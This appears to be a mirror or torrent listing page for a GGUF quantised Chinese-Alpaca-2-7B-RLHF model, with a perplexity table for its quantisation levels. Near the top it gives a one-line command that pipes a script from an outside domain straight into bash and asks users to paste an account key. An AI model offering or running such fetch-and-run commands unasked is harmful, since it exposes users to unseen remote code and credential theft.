hfl/chinese-alpaca-2-7b-rlhf-gguf

🤗 Hugging Face sourceapache-2.07B activated72 GBGGUF✓ 14 checksumsupdated today

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Run it next to your model folder. It makes the torrent, checks your files against Hugging Face, and submits it. You just start seeding and paste your key from your account. It only reads your files and never changes them. Read the script first if you like.

curl -fsSL https://pirateface.co/package.sh | bash -s -- --repo hfl/chinese-alpaca-2-7b-rlhf-gguf ./model-folder

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Chinese-Alpaca-2-7B-RLHF-GGUF

This repository contains GGUF-v3 version (llama.cpp compatible) of Chinese-Alpaca-2-7B-RLHF, which is tuned on Chinese-Alpaca-2-7B with RLHF using DeepSpeed-Chat.

Performance

Metric: PPL, lower is better

Quant	original	imatrix (`-im`)
Q2_K	10.5211 +/- 0.14139	11.9331 +/- 0.16168
Q3_K	8.9748 +/- 0.12043	8.8238 +/- 0.11850
Q4_0	8.7843 +/- 0.11854	-
Q4_K	8.4643 +/- 0.11341	8.4226 +/- 0.11302
Q5_0	8.4563 +/- 0.11353	-
Q5_K	8.3722 +/- 0.11236	8.3336 +/- 0.11192
Q6_K	8.3207 +/- 0.11184	8.3047 +/- 0.11159
Q8_0	8.3100 +/- 0.11173	-
F16	8.3112 +/- 0.11173	-

The model with -im suffix is generated with important matrix, which has generally better performance (not always though).

Others

For full model in HuggingFace format, please see: https://huggingface.co/hfl/chinese-alpaca-2-7b-rlhf

Please refer to https://github.com/ymcui/Chinese-LLaMA-Alpaca-2/ for more details.